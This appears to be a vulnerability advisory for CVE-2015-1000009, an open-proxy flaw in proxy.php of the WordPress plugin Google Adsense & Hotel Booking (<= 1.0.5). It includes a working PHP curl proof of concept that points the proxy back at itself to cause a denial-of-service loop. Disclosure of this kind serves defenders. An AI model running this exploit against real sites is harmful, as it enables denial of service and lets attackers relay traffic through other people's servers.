Google Adsense & Hotel Booking <= 1.0.5 – Open Proxy | CVE 2015-1000009

Description

Plugin is still affected and has been closed.

The code in ./plugin/google-adsense-and-hotel-booking/proxy.php allows an arbitrary user to proxy POST requests though the host site.

This may allow attackers to hide attacks, or DoS a site if the POST request is pointed back at itself causing a loop.

Proof of Concept

<?php
        $target_url = 'http://www.example.com/wp-content/plugins/google-adsense-and-hotel-booking/proxy.php';
        echo "POST to $target_url";
        $post = array('url' => $target_url,'url'=>$target_url);
 
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$target_url);
        curl_setopt($ch, CURLOPT_POST,1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
        $result=curl_exec ($ch);
        curl_close ($ch);
        echo "#####################################";
        echo $result;
        echo "#####################################";
?>